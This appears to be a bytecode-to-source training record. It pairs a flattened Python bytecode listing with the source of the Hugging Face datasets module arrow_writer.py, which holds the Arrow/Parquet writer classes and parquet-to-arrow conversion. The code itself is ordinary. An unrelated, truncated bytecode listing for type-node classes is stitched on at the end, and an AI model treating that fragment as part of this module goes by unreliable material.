LOAD_ATTR EPIPE COMPARE_OP != EXTENDED_ARG POP_JUMP_IF_FALSE RAISE_VARARGS LOAD_GLOBAL logger LOAD_METHOD warning LOAD_CONST 'Broken Pipe during stream conversion from parquet to arrow. Using local convert instead' CALL_METHOD POP_TOP LOAD_GLOBAL os LOAD_ATTR path LOAD_METHOD join LOAD_FAST self LOAD_ATTR _cache_dir LOAD_CONST 'beam_convert' CALL_METHOD STORE_FAST local_convert_dir LOAD_GLOBAL os LOAD_ATTR makedirs LOAD_FAST local_convert_dir LOAD_CONST True LOAD_CONST ('exist_ok',) CALL_FUNCTION POP_TOP LOAD_CONST 0 STORE_FAST num_bytes SETUP_LOOP to 430 LOAD_GLOBAL hf_tqdm LOAD_FAST shards LOAD_CONST 'shards' LOAD_CONST ('unit',) CALL_FUNCTION GET_ITER FOR_ITER to 428 STORE_FAST shard LOAD_GLOBAL os LOAD_ATTR path LOAD_METHOD join LOAD_FAST local_convert_dir LOAD_GLOBAL hash_url_to_filename LOAD_FAST shard CALL_FUNCTION LOAD_CONST '.parquet' BINARY_ADD CALL_METHOD STORE_FAST local_parquet_path LOAD_FAST fs LOAD_METHOD download LOAD_FAST shard LOAD_FAST local_parquet_path CALL_METHOD POP_TOP LOAD_FAST local_parquet_path LOAD_METHOD replace LOAD_CONST '.parquet' LOAD_CONST '.arrow' CALL_METHOD STORE_FAST local_arrow_path LOAD_GLOBAL parquet_to_arrow LOAD_FAST local_parquet_path LOAD_FAST local_arrow_path CALL_FUNCTION UNPACK_SEQUENCE STORE_FAST shard_num_bytes STORE_FAST _ LOAD_FAST num_bytes LOAD_FAST shard_num_bytes INPLACE_ADD STORE_FAST num_bytes LOAD_FAST shard LOAD_METHOD replace LOAD_CONST '.parquet' LOAD_CONST '.arrow' CALL_METHOD STORE_FAST remote_arrow_path LOAD_FAST fs LOAD_METHOD upload LOAD_FAST local_arrow_path LOAD_FAST remote_arrow_path CALL_METHOD POP_TOP EXTENDED_ARG JUMP_ABSOLUTE POP_BLOCK POP_BLOCK LOAD_CONST None LOAD_CONST None STORE_FAST e DELETE_FAST e END_FINALLY POP_EXCEPT JUMP_FORWARD to 448 END_FINALLY LOAD_CONST <code object <dictcomp> at 0x7fa6d6884e40, file "f.py", line 793> LOAD_CONST 'BeamWriter.finalize.<locals>.<dictcomp>' MAKE_FUNCTION LOAD_FAST metrics_query_result LOAD_CONST 'counters' BINARY_SUBSCR GET_ITER CALL_FUNCTION STORE_FAST counters_dict LOAD_FAST counters_dict LOAD_CONST 'num_examples' BINARY_SUBSCR LOAD_FAST self STORE_ATTR _num_examples LOAD_FAST num_bytes LOAD_FAST self STORE_ATTR _num_bytes LOAD_FAST shard_lengths LOAD_FAST self STORE_ATTR _shard_lengths LOAD_FAST self LOAD_ATTR _num_examples LOAD_FAST self LOAD_ATTR _num_bytes BUILD_TUPLE RETURN_VALUE BUILD_MAP LOAD_FAST .0 FOR_ITER to 24 STORE_FAST metric LOAD_FAST metric LOAD_ATTR result LOAD_FAST metric LOAD_ATTR key LOAD_ATTR metric LOAD_ATTR name MAP_ADD JUMP_ABSOLUTE RETURN_VALUE BUILD_LIST STORE_FAST shard_lengths SETUP_LOOP to 52 LOAD_GLOBAL hf_tqdm LOAD_FAST sources LOAD_CONST 'parquet files' LOAD_CONST ('unit',) CALL_FUNCTION GET_ITER FOR_ITER to 50 STORE_FAST source LOAD_GLOBAL pa LOAD_ATTR parquet LOAD_METHOD ParquetFile LOAD_FAST source CALL_METHOD STORE_FAST parquet_file LOAD_FAST shard_lengths LOAD_METHOD append LOAD_FAST parquet_file LOAD_ATTR metadata LOAD_ATTR num_rows CALL_METHOD POP_TOP JUMP_ABSOLUTE POP_BLOCK LOAD_FAST shard_lengths RETURN_VALUE LOAD_GLOBAL isinstance LOAD_FAST destination LOAD_GLOBAL str CALL_FUNCTION POP_JUMP_IF_FALSE LOAD_CONST None JUMP_FORWARD to 16 LOAD_FAST destination STORE_FAST stream LOAD_GLOBAL pa LOAD_ATTR parquet LOAD_METHOD ParquetFile LOAD_FAST source CALL_METHOD STORE_FAST parquet_file LOAD_GLOBAL ArrowWriter LOAD_FAST parquet_file LOAD_ATTR schema_arrow LOAD_FAST destination LOAD_FAST stream LOAD_CONST ('schema', 'path', 'stream') CALL_FUNCTION SETUP_WITH to 106 STORE_FAST writer SETUP_LOOP to 90 LOAD_FAST parquet_file LOAD_METHOD iter_batches CALL_METHOD GET_ITER FOR_ITER to 88 STORE_FAST record_batch LOAD_GLOBAL pa LOAD_ATTR Table LOAD_METHOD from_batches LOAD_FAST record_batch BUILD_LIST CALL_METHOD STORE_FAST pa_table LOAD_FAST writer LOAD_METHOD write_table LOAD_FAST pa_table CALL_METHOD POP_TOP JUMP_ABSOLUTE POP_BLOCK LOAD_FAST writer LOAD_METHOD finalize CALL_METHOD UNPACK_SEQUENCE STORE_FAST num_bytes STORE_FAST num_examples POP_BLOCK LOAD_CONST None WITH_CLEANUP_START WITH_CLEANUP_FINISH END_FINALLY LOAD_FAST num_bytes LOAD_FAST num_examples BUILD_TUPLE RETURN_VALUE
"""To write records into Parquet files.""" import errno import json import os import sys from pathlib import Path from typing import Any, Dict, Iterable, List, Optional, Tuple, Union import fsspec import numpy as np import pyarrow as pa import pyarrow.parquet as pq from . import config from .features import Features, Image, Value from .features.features import ( FeatureType, _ArrayXDExtensionType, cast_to_python_objects, generate_from_arrow_type, get_nested_type, list_of_np_array_to_pyarrow_listarray, numpy_to_pyarrow_listarray, to_pyarrow_listarray, ) from .filesystems import is_remote_filesystem from .info import DatasetInfo from .keyhash import DuplicatedKeysError, KeyHasher from .table import array_cast, cast_array_to_feature, embed_table_storage, table_cast from .utils import logging from .utils import tqdm as hf_tqdm from .utils.file_utils import hash_url_to_filename from .utils.py_utils import asdict, first_non_null_value logger = logging.get_logger(__name__) type_ = type # keep python's type function class SchemaInferenceError(ValueError): pass class TypedSequence: """ This data container generalizes the typing when instantiating pyarrow arrays, tables or batches. More specifically it adds several features: - Support extension types like ``datasets.features.Array2DExtensionType``: By default pyarrow arrays don't return extension arrays. One has to call ``pa.ExtensionArray.from_storage(type, pa.array(data, type.storage_type))`` in order to get an extension array. - Support for ``try_type`` parameter that can be used instead of ``type``: When an array is transformed, we like to keep the same type as before if possible. For example when calling :func:`datasets.Dataset.map`, we don't want to change the type of each column by default. - Better error message when a pyarrow array overflows. Example:: from datasets.features import Array2D, Array2DExtensionType, Value from datasets.arrow_writer import TypedSequence import pyarrow as pa arr = pa.array(TypedSequence([1, 2, 3], type=Value("int32"))) assert arr.type == pa.int32() arr = pa.array(TypedSequence([1, 2, 3], try_type=Value("int32"))) assert arr.type == pa.int32() arr = pa.array(TypedSequence(["foo", "bar"], try_type=Value("int32"))) assert arr.type == pa.string() arr = pa.array(TypedSequence([[[1, 2, 3]]], type=Array2D((1, 3), "int64"))) assert arr.type == Array2DExtensionType((1, 3), "int64") table = pa.Table.from_pydict({ "image": TypedSequence([[[1, 2, 3]]], type=Array2D((1, 3), "int64")) }) assert table["image"].type == Array2DExtensionType((1, 3), "int64") """ def __init__( self, data: Iterable, type: Optional[FeatureType] = None, try_type: Optional[FeatureType] = None, optimized_int_type: Optional[FeatureType] = None, ): if type is not None and try_type is not None: raise ValueError("You cannot specify both type and try_type") self.data = data self.type = type self.try_type = try_type # is ignored if it doesn't match the data self.optimized_int_type = optimized_int_type self.trying_type = self.try_type is not None self.trying_int_optimization = ( optimized_int_type is not None and type is None and try_type is None ) self._inferred_type = None def get_inferred_type(self) -> FeatureType: """Return the inferred feature type. This is done by converting the sequence to an Arrow array, and getting the corresponding feature type. Since building the Arrow array can be expensive, the value of the inferred type is cached as soon as pa.array is called on the typed sequence. Returns: FeatureType: inferred feature type of the sequence. """ if self._inferred_type is None: self._inferred_type = generate_from_arrow_type(pa.array(self).type) return self._inferred_type @staticmethod def _infer_custom_type_and_encode( data: Iterable, ) -> Tuple[Iterable, Optional[FeatureType]]: """Implement type inference for custom objects like PIL.Image.Image -> Image type. This function is only used for custom python objects that can't be direclty passed to build an Arrow array. In such cases is infers the feature type to use, and it encodes the data so that they can be passed to an Arrow array. Args: data (Iterable): array of data to infer the type, e.g. a list of PIL images. Returns: Tuple[Iterable, Optional[FeatureType]]: a tuple with: - the (possibly encoded) array, if the inferred feature type requires encoding - the inferred feature type if the array is made of supported custom objects like PIL images, else None. """ if config.PIL_AVAILABLE and "PIL" in sys.modules: import PIL.Image non_null_idx, non_null_value = first_non_null_value(data) if isinstance(non_null_value, PIL.Image.Image): return [ Image().encode_example(value) if value is not None else None for value in data ], Image() return data, None def __arrow_array__(self, type: Optional[pa.DataType] = None): """This function is called when calling pa.array(typed_sequence)""" if type is not None: raise ValueError( "TypedSequence is supposed to be used with pa.array(typed_sequence, type=None)" ) del type # make sure we don't use it data = self.data if self.type is None and self.try_type is None: data, self._inferred_type = self._infer_custom_type_and_encode(data) if self._inferred_type is None: type = self.try_type if self.trying_type else self.type else: type = self._inferred_type pa_type = get_nested_type(type) if type is not None else None optimized_int_pa_type = ( get_nested_type(self.optimized_int_type) if self.optimized_int_type is not None else None ) trying_cast_to_python_objects = False try: if isinstance(pa_type, _ArrayXDExtensionType): storage = to_pyarrow_listarray(data, pa_type) return pa.ExtensionArray.from_storage(pa_type, storage) if isinstance(data, np.ndarray): out = numpy_to_pyarrow_listarray(data) elif ( isinstance(data, list) and data and isinstance(first_non_null_value(data)[1], np.ndarray) ): out = list_of_np_array_to_pyarrow_listarray(data) else: trying_cast_to_python_objects = True out = pa.array(cast_to_python_objects(data, only_1d_for_numpy=True)) if self.trying_int_optimization: if pa.types.is_int64(out.type): out = out.cast(optimized_int_pa_type) elif pa.types.is_list(out.type): if pa.types.is_int64(out.type.value_type): out = array_cast(out, pa.list_(optimized_int_pa_type)) elif pa.types.is_list(out.type.value_type) and pa.types.is_int64( out.type.value_type.value_type ): out = array_cast(out, pa.list_(pa.list_(optimized_int_pa_type))) elif type is not None: out = cast_array_to_feature( out, type, allow_number_to_str=not self.trying_type ) return out except ( TypeError, pa.lib.ArrowInvalid, pa.lib.ArrowNotImplementedError, ) as e: # handle type errors and overflows if not self.trying_type and isinstance(e, pa.lib.ArrowNotImplementedError): raise if self.trying_type: try: # second chance if isinstance(data, np.ndarray): return numpy_to_pyarrow_listarray(data) elif ( isinstance(data, list) and data and any(isinstance(value, np.ndarray) for value in data) ): return list_of_np_array_to_pyarrow_listarray(data) else: trying_cast_to_python_objects = True return pa.array( cast_to_python_objects(data, only_1d_for_numpy=True) ) except pa.lib.ArrowInvalid as e: if "overflow" in str(e): raise OverflowError( f"There was an overflow with type {type_(data)}. Try to reduce writer_batch_size to have batches smaller than 2GB.\n({e})" ) from None elif self.trying_int_optimization and "not in range" in str(e): optimized_int_pa_type_str = np.dtype( optimized_int_pa_type.to_pandas_dtype() ).name logger.info( f"Failed to cast a sequence to {optimized_int_pa_type_str}. Falling back to int64." ) return out elif trying_cast_to_python_objects and "Could not convert" in str( e ): out = pa.array( cast_to_python_objects( data, only_1d_for_numpy=True, optimize_list_casting=False, ) ) if type is not None: out = cast_array_to_feature( out, type, allow_number_to_str=True ) return out else: raise elif "overflow" in str(e): raise OverflowError( f"There was an overflow with type {type_(data)}. Try to reduce writer_batch_size to have batches smaller than 2GB.\n({e})" ) from None elif self.trying_int_optimization and "not in range" in str(e): optimized_int_pa_type_str = np.dtype( optimized_int_pa_type.to_pandas_dtype() ).name logger.info( f"Failed to cast a sequence to {optimized_int_pa_type_str}. Falling back to int64." ) return out elif trying_cast_to_python_objects and "Could not convert" in str(e): out = pa.array( cast_to_python_objects( data, only_1d_for_numpy=True, optimize_list_casting=False ) ) if type is not None: out = cast_array_to_feature(out, type, allow_number_to_str=True) return out else: raise class OptimizedTypedSequence(TypedSequence): def __init__( self, data, type: Optional[FeatureType] = None, try_type: Optional[FeatureType] = None, col: Optional[str] = None, optimized_int_type: Optional[FeatureType] = None, ): optimized_int_type_by_col = { "attention_mask": Value("int8"), # binary tensor "special_tokens_mask": Value("int8"), "input_ids": Value( "int32" ), # typical vocab size: 0-50k (max ~500k, never > 1M) "token_type_ids": Value( "int8" ), # binary mask; some (XLNetModel) use an additional token represented by a 2 } if type is None and try_type is None: optimized_int_type = optimized_int_type_by_col.get(col, None) super().__init__( data, type=type, try_type=try_type, optimized_int_type=optimized_int_type ) class ArrowWriter: """Shuffles and writes Examples to Arrow files.""" _WRITER_CLASS = pa.RecordBatchStreamWriter def __init__( self, schema: Optional[pa.Schema] = None, features: Optional[Features] = None, path: Optional[str] = None, stream: Optional[pa.NativeFile] = None, fingerprint: Optional[str] = None, writer_batch_size: Optional[int] = None, hash_salt: Optional[str] = None, check_duplicates: Optional[bool] = False, disable_nullable: bool = False, update_features: bool = False, with_metadata: bool = True, unit: str = "examples", embed_local_files: bool = False, storage_options: Optional[dict] = None, ): if path is None and stream is None: raise ValueError("At least one of path and stream must be provided.") if features is not None: self._features = features self._schema = None elif schema is not None: self._schema: pa.Schema = schema self._features = Features.from_arrow_schema(self._schema) else: self._features = None self._schema = None if hash_salt is not None: self._hasher = KeyHasher(hash_salt) else: self._hasher = KeyHasher("") self._check_duplicates = check_duplicates self._disable_nullable = disable_nullable if stream is None: fs_token_paths = fsspec.get_fs_token_paths( path, storage_options=storage_options ) self._fs: fsspec.AbstractFileSystem = fs_token_paths[0] self._path = ( fs_token_paths[2][0] if not is_remote_filesystem(self._fs) else self._fs.unstrip_protocol(fs_token_paths[2][0]) ) self.stream = self._fs.open(fs_token_paths[2][0], "wb") self._closable_stream = True else: self._fs = None self._path = None self.stream = stream self._closable_stream = False self.fingerprint = fingerprint self.disable_nullable = disable_nullable self.writer_batch_size = writer_batch_size or config.DEFAULT_MAX_BATCH_SIZE self.update_features = update_features self.with_metadata = with_metadata self.unit = unit self.embed_local_files = embed_local_files self._num_examples = 0 self._num_bytes = 0 self.current_examples: List[Tuple[Dict[str, Any], str]] = [] self.current_rows: List[pa.Table] = [] self.pa_writer: Optional[pa.RecordBatchStreamWriter] = None self.hkey_record = [] def __len__(self): """Return the number of writed and staged examples""" return self._num_examples + len(self.current_examples) + len(self.current_rows) def __enter__(self): return self def __exit__(self, exc_type, exc_val, exc_tb): self.close() def close(self): if self.pa_writer: # it might be None try: self.pa_writer.close() except Exception: # pyarrow.lib.ArrowInvalid, OSError pass if self._closable_stream and not self.stream.closed: self.stream.close() # This also closes self.pa_writer if it is opened def _build_writer(self, inferred_schema: pa.Schema): schema = self.schema inferred_features = Features.from_arrow_schema(inferred_schema) if self._features is not None: if ( self.update_features ): # keep original features it they match, or update them fields = {field.name: field for field in self._features.type} for inferred_field in inferred_features.type: name = inferred_field.name if name in fields: if inferred_field == fields[name]: inferred_features[name] = self._features[name] self._features = inferred_features schema: pa.Schema = inferred_schema else: self._features = inferred_features schema: pa.Schema = inferred_features.arrow_schema if self.disable_nullable: schema = pa.schema( pa.field(field.name, field.type, nullable=False) for field in schema ) if self.with_metadata: schema = schema.with_metadata( self._build_metadata( DatasetInfo(features=self._features), self.fingerprint ) ) else: schema = schema.with_metadata({}) self._schema = schema self.pa_writer = self._WRITER_CLASS(self.stream, schema) @property def schema(self): _schema = ( self._schema if self._schema is not None else ( pa.schema(self._features.type) if self._features is not None else None ) ) if self._disable_nullable and _schema is not None: _schema = pa.schema( pa.field(field.name, field.type, nullable=False) for field in _schema ) return _schema if _schema is not None else [] @staticmethod def _build_metadata( info: DatasetInfo, fingerprint: Optional[str] = None ) -> Dict[str, str]: info_keys = [ "features" ] # we can add support for more DatasetInfo keys in the future info_as_dict = asdict(info) metadata = {} metadata["info"] = {key: info_as_dict[key] for key in info_keys} if fingerprint is not None: metadata["fingerprint"] = fingerprint return {"huggingface": json.dumps(metadata)} def write_examples_on_file(self): """Write stored examples from the write-pool of examples. It makes a table out of the examples and write it.""" if not self.current_examples: return if self.schema: schema_cols = set(self.schema.names) examples_cols = self.current_examples[0][ 0 ].keys() # .keys() preserves the order (unlike set) common_cols = [col for col in self.schema.names if col in examples_cols] extra_cols = [col for col in examples_cols if col not in schema_cols] cols = common_cols + extra_cols else: cols = list(self.current_examples[0][0]) batch_examples = {} for col in cols: if all( isinstance(row[0][col], (pa.Array, pa.ChunkedArray)) for row in self.current_examples ): arrays = [row[0][col] for row in self.current_examples] arrays = [ chunk for array in arrays for chunk in ( array.chunks if isinstance(array, pa.ChunkedArray) else [array] ) ] batch_examples[col] = pa.concat_arrays(arrays) else: batch_examples[col] = [ ( row[0][col].to_pylist()[0] if isinstance(row[0][col], (pa.Array, pa.ChunkedArray)) else row[0][col] ) for row in self.current_examples ] self.write_batch(batch_examples=batch_examples) self.current_examples = [] def write_rows_on_file(self): """Write stored rows from the write-pool of rows. It concatenates the single-row tables and it writes the resulting table.""" if not self.current_rows: return table = pa.concat_tables(self.current_rows) self.write_table(table) self.current_rows = [] def write( self, example: Dict[str, Any], key: Optional[Union[str, int, bytes]] = None, writer_batch_size: Optional[int] = None, ): """Add a given (Example,Key) pair to the write-pool of examples which is written to file. Args: example: the Example to add. key: Optional, a unique identifier(str, int or bytes) associated with each example """ if self._check_duplicates: hash = self._hasher.hash(key) self.current_examples.append((example, hash)) self.hkey_record.append((hash, key)) else: self.current_examples.append((example, "")) if writer_batch_size is None: writer_batch_size = self.writer_batch_size if ( writer_batch_size is not None and len(self.current_examples) >= writer_batch_size ): if self._check_duplicates: self.check_duplicate_keys() self.hkey_record = [] self.write_examples_on_file() def check_duplicate_keys(self): """Raises error if duplicates found in a batch""" tmp_record = set() for hash, key in self.hkey_record: if hash in tmp_record: duplicate_key_indices = [ str(self._num_examples + index) for index, (duplicate_hash, _) in enumerate(self.hkey_record) if duplicate_hash == hash ] raise DuplicatedKeysError(key, duplicate_key_indices) else: tmp_record.add(hash) def write_row(self, row: pa.Table, writer_batch_size: Optional[int] = None): """Add a given single-row Table to the write-pool of rows which is written to file. Args: row: the row to add. """ if len(row) != 1: raise ValueError( f"Only single-row pyarrow tables are allowed but got table with {len(row)} rows." ) self.current_rows.append(row) if writer_batch_size is None: writer_batch_size = self.writer_batch_size if ( writer_batch_size is not None and len(self.current_rows) >= writer_batch_size ): self.write_rows_on_file() def write_batch( self, batch_examples: Dict[str, List], writer_batch_size: Optional[int] = None, ): """Write a batch of Example to file. Ignores the batch if it appears to be empty, preventing a potential schema update of unknown types. Args: batch_examples: the batch of examples to add. """ if batch_examples and len(next(iter(batch_examples.values()))) == 0: return features = ( None if self.pa_writer is None and self.update_features else self._features ) try_features = ( self._features if self.pa_writer is None and self.update_features else None ) arrays = [] inferred_features = Features() if self.schema: schema_cols = set(self.schema.names) batch_cols = ( batch_examples.keys() ) # .keys() preserves the order (unlike set) common_cols = [col for col in self.schema.names if col in batch_cols] extra_cols = [col for col in batch_cols if col not in schema_cols] cols = common_cols + extra_cols else: cols = list(batch_examples) for col in cols: col_values = batch_examples[col] col_type = features[col] if features else None if isinstance(col_values, (pa.Array, pa.ChunkedArray)): array = ( cast_array_to_feature(col_values, col_type) if col_type is not None else col_values ) arrays.append(array) inferred_features[col] = generate_from_arrow_type(col_values.type) else: col_try_type = ( try_features[col] if try_features is not None and col in try_features else None ) typed_sequence = OptimizedTypedSequence( col_values, type=col_type, try_type=col_try_type, col=col ) arrays.append(pa.array(typed_sequence)) inferred_features[col] = typed_sequence.get_inferred_type() schema = ( inferred_features.arrow_schema if self.pa_writer is None else self.schema ) pa_table = pa.Table.from_arrays(arrays, schema=schema) self.write_table(pa_table, writer_batch_size) def write_table(self, pa_table: pa.Table, writer_batch_size: Optional[int] = None): """Write a Table to file. Args: example: the Table to add. """ if writer_batch_size is None: writer_batch_size = self.writer_batch_size if self.pa_writer is None: self._build_writer(inferred_schema=pa_table.schema) pa_table = pa_table.combine_chunks() pa_table = table_cast(pa_table, self._schema) if self.embed_local_files: pa_table = embed_table_storage(pa_table) self._num_bytes += pa_table.nbytes self._num_examples += pa_table.num_rows self.pa_writer.write_table(pa_table, writer_batch_size) def finalize(self, close_stream=True): self.write_rows_on_file() if self._check_duplicates: self.check_duplicate_keys() self.hkey_record = [] self.write_examples_on_file() if self.pa_writer is None and self.schema: self._build_writer(self.schema) if self.pa_writer is not None: self.pa_writer.close() self.pa_writer = None if close_stream: self.stream.close() else: if close_stream: self.stream.close() raise SchemaInferenceError( "Please pass `features` or at least one example when writing data" ) logger.debug( f"Done writing {self._num_examples} {self.unit} in {self._num_bytes} bytes {self._path if self._path else ''}." ) return self._num_examples, self._num_bytes class ParquetWriter(ArrowWriter): _WRITER_CLASS = pq.ParquetWriter class BeamWriter: """ Shuffles and writes Examples to Arrow files. The Arrow files are converted from Parquet files that are the output of Apache Beam pipelines. """ def __init__( self, features: Optional[Features] = None, schema: Optional[pa.Schema] = None, path: Optional[str] = None, namespace: Optional[str] = None, cache_dir: Optional[str] = None, ): if features is None and schema is None: raise ValueError("At least one of features and schema must be provided.") if path is None: raise ValueError("Path must be provided.") if features is not None: self._features: Features = features self._schema: pa.Schema = features.arrow_schema else: self._schema: pa.Schema = schema self._features: Features = Features.from_arrow_schema(schema) self._path = path self._parquet_path = os.path.splitext(path)[0] # remove extension self._namespace = namespace or "default" self._num_examples = None self._cache_dir = cache_dir or config.HF_DATASETS_CACHE def write_from_pcollection(self, pcoll_examples): """Add the final steps of the beam pipeline: write to parquet files.""" import apache_beam as beam def inc_num_examples(example): beam.metrics.Metrics.counter(self._namespace, "num_examples").inc() _ = pcoll_examples | "Count N. Examples" >> beam.Map(inc_num_examples) return ( pcoll_examples | "Get values" >> beam.Values() | "Save to parquet" >> beam.io.parquetio.WriteToParquet( self._parquet_path, self._schema, shard_name_template="-SSSSS-of-NNNNN.parquet", ) ) def finalize(self, metrics_query_result: dict): """ Run after the pipeline has finished. It converts the resulting parquet files to arrow and it completes the info from the pipeline metrics. Args: metrics_query_result: `dict` obtained from pipeline_results.metrics().query(m_filter). Make sure that the filter keeps only the metrics for the considered split, under the namespace `split_name`. """ fs, _, [parquet_path] = fsspec.get_fs_token_paths(self._parquet_path) parquet_path = ( str(Path(parquet_path)) if not is_remote_filesystem(fs) else fs.unstrip_protocol(parquet_path) ) shards = fs.glob(parquet_path + "*.parquet") num_bytes = sum(fs.sizes(shards)) shard_lengths = get_parquet_lengths(shards) if self._path.endswith(".arrow"): logger.info( f"Converting parquet files {self._parquet_path} to arrow {self._path}" ) try: # stream conversion num_bytes = 0 for shard in hf_tqdm(shards, unit="shards"): with fs.open(shard, "rb") as source: with fs.open( shard.replace(".parquet", ".arrow"), "wb" ) as destination: shard_num_bytes, _ = parquet_to_arrow(source, destination) num_bytes += shard_num_bytes except ( OSError ) as e: # broken pipe can happen if the connection is unstable, do local conversion instead if e.errno != errno.EPIPE: # not a broken pipe raise logger.warning( "Broken Pipe during stream conversion from parquet to arrow. Using local convert instead" ) local_convert_dir = os.path.join(self._cache_dir, "beam_convert") os.makedirs(local_convert_dir, exist_ok=True) num_bytes = 0 for shard in hf_tqdm(shards, unit="shards"): local_parquet_path = os.path.join( local_convert_dir, hash_url_to_filename(shard) + ".parquet" ) fs.download(shard, local_parquet_path) local_arrow_path = local_parquet_path.replace(".parquet", ".arrow") shard_num_bytes, _ = parquet_to_arrow( local_parquet_path, local_arrow_path ) num_bytes += shard_num_bytes remote_arrow_path = shard.replace(".parquet", ".arrow") fs.upload(local_arrow_path, remote_arrow_path) counters_dict = { metric.key.metric.name: metric.result for metric in metrics_query_result["counters"] } self._num_examples = counters_dict["num_examples"] self._num_bytes = num_bytes self._shard_lengths = shard_lengths return self._num_examples, self._num_bytes def get_parquet_lengths(sources) -> List[int]: shard_lengths = [] for source in hf_tqdm(sources, unit="parquet files"): parquet_file = pa.parquet.ParquetFile(source) shard_lengths.append(parquet_file.metadata.num_rows) return shard_lengths def parquet_to_arrow(source, destination) -> List[int]: """Convert parquet file to arrow file. Inputs can be str paths or file-like objects""" stream = None if isinstance(destination, str) else destination parquet_file = pa.parquet.ParquetFile(source) with ArrowWriter( schema=parquet_file.schema_arrow, path=destination, stream=stream ) as writer: for record_batch in parquet_file.iter_batches(): pa_table = pa.Table.from_batches([record_batch]) writer.write_table(pa_table) num_bytes, num_examples = writer.finalize() return num_bytes, num_examples
data/datasets-2.17.1/src/datasets/arrow_writer.py
15,013
9,016
52,811
LOAD_CONST 0 LOAD_CONST ('Sequence', 'Generator', 'Tuple', 'Optional', 'Union') IMPORT_NAME typing IMPORT_FROM Sequence STORE_NAME Sequence IMPORT_FROM Generator STORE_NAME Generator IMPORT_FROM Tuple STORE_NAME Tuple IMPORT_FROM Optional STORE_NAME Optional IMPORT_FROM Union STORE_NAME Union POP_TOP LOAD_CONST 0 LOAD_CONST None IMPORT_NAME weakref STORE_NAME weakref LOAD_CONST 0 LOAD_CONST None IMPORT_NAME abc STORE_NAME abc LOAD_CONST 1 LOAD_CONST ('ASTNode', 'ASTNodeType') IMPORT_NAME node IMPORT_FROM ASTNode STORE_NAME ASTNode IMPORT_FROM ASTNodeType STORE_NAME ASTNodeType POP_TOP LOAD_BUILD_CLASS LOAD_CONST <code object TypeResolutionError at 0x7fab7006d810, file "f.py", line 8> LOAD_CONST 'TypeResolutionError' MAKE_FUNCTION LOAD_CONST 'TypeResolutionError' LOAD_NAME Exception CALL_FUNCTION STORE_NAME TypeResolutionError LOAD_BUILD_CLASS LOAD_CONST <code object TypeNode at 0x7fab7006dc00, file "f.py", line 12> LOAD_CONST 'TypeNode' MAKE_FUNCTION LOAD_CONST 'TypeNode' LOAD_NAME abc LOAD_ATTR ABC CALL_FUNCTION STORE_NAME TypeNode LOAD_BUILD_CLASS LOAD_CONST <code object NoneTypeNode at 0x7fab7006df60, file "f.py", line 143> LOAD_CONST 'NoneTypeNode' MAKE_FUNCTION LOAD_CONST 'NoneTypeNode' LOAD_NAME TypeNode CALL_FUNCTION STORE_NAME NoneTypeNode LOAD_BUILD_CLASS LOAD_CONST <code object AnyTypeNode at 0x7fab40ea65d0, file "f.py", line 151> LOAD_CONST 'AnyTypeNode' MAKE_FUNCTION LOAD_CONST 'AnyTypeNode' LOAD_NAME TypeNode CALL_FUNCTION STORE_NAME AnyTypeNode LOAD_BUILD_CLASS LOAD_CONST <code object PrimitiveTypeNode at 0x7fab40ea68a0, file "f.py", line 163> LOAD_CONST 'PrimitiveTypeNode' MAKE_FUNCTION LOAD_CONST 'PrimitiveTypeNode' LOAD_NAME TypeNode CALL_FUNCTION STORE_NAME PrimitiveTypeNode LOAD_BUILD_CLASS LOAD_CONST <code object AliasRefTypeNode at 0x7fab40ea6150, file "f.py", line 199> LOAD_CONST 'AliasRefTypeNode' MAKE_FUNCTION LOAD_CONST 'AliasRefTypeNode' LOAD_NAME TypeNode CALL_FUNCTION STORE_NAME AliasRefTypeNode LOAD_BUILD_CLASS LOAD_CONST <code object AliasTypeNode at 0x7fab54381ae0, file "f.py", line 233> LOAD_CONST 'AliasTypeNode' MAKE_FUNCTION LOAD_CONST 'AliasTypeNode' LOAD_NAME TypeNode CALL_FUNCTION STORE_NAME AliasTypeNode LOAD_BUILD_CLASS LOAD_CONST <code object ConditionalAliasTypeNode at 0x7fab54381270, file "f.py", line 439> LOAD_CONST 'ConditionalAliasTypeNode' MAKE_FUNCTION LOAD_CONST 'ConditionalAliasTypeNode' LOAD_NAME TypeNode CALL_FUNCTION STORE_NAME ConditionalAliasTypeNode LOAD_BUILD_CLASS LOAD_CONST <code object NDArrayTypeNode at 0x7fab543815d0, file "f.py", line 538> LOAD_CONST 'NDArrayTypeNode' MAKE_FUNCTION LOAD_CONST 'NDArrayTypeNode' LOAD_NAME TypeNode CALL_FUNCTION STORE_NAME NDArrayTypeNode LOAD_BUILD_CLASS LOAD_CONST <code object ASTNodeTypeNode at 0x7fab543e74b0, file "f.py", line 566> LOAD_CONST 'ASTNodeTypeNode' MAKE_FUNCTION LOAD_CONST 'ASTNodeTypeNode' LOAD_NAME TypeNode CALL_FUNCTION STORE_NAME ASTNodeTypeNode LOAD_BUILD_CLASS LOAD_CONST <code object AggregatedTypeNode at 0x7fab4107c150, file "f.py", line 670> LOAD_CONST 'AggregatedTypeNode' MAKE_FUNCTION LOAD_CONST 'AggregatedTypeNode' LOAD_NAME TypeNode CALL_FUNCTION STORE_NAME AggregatedTypeNode LOAD_BUILD_CLASS LOAD_CONST <code object ContainerTypeNode at 0x7fab42aaa420, file "f.py", line 713> LOAD_CONST 'ContainerTypeNode' MAKE_FUNCTION LOAD_CONST 'ContainerTypeNode' LOAD_NAME AggregatedTypeNode CALL_FUNCTION STORE_NAME ContainerTypeNode LOAD_BUILD_CLASS LOAD_CONST <code object SequenceTypeNode at 0x7fab42aaa6f0, file "f.py", line 753> LOAD_CONST 'SequenceTypeNode' MAKE_FUNCTION LOAD_CONST 'SequenceTypeNode' LOAD_NAME ContainerTypeNode CALL_FUNCTION STORE_NAME SequenceTypeNode LOAD_BUILD_CLASS LOAD_CONST <code object TupleTypeNode at 0x7fab42aaa930, file "f.py", line 770> LOAD_CONST 'TupleTypeNode' MAKE_FUNCTION LOAD_CONST 'TupleTypeNode' LOAD_NAME ContainerTypeNode CALL_FUNCTION STORE_NAME TupleTypeNode LOAD_BUILD_CLASS LOAD_CONST <code object UnionTypeNode at 0x7fab42aaaae0, file "f.py", line 786> LOAD_CONST 'UnionTypeNode' MAKE_FUNCTION LOAD_CONST 'UnionTypeNode' LOAD_NAME ContainerTypeNode CALL_FUNCTION STORE_NAME UnionTypeNode LOAD_BUILD_CLASS LOAD_CONST <code object OptionalTypeNode at 0x7fab42aaadb0, file "f.py", line 802> LOAD_CONST 'OptionalTypeNode' MAKE_FUNCTION LOAD_CONST 'OptionalTypeNode' LOAD_NAME ContainerTypeNode CALL_FUNCTION STORE_NAME 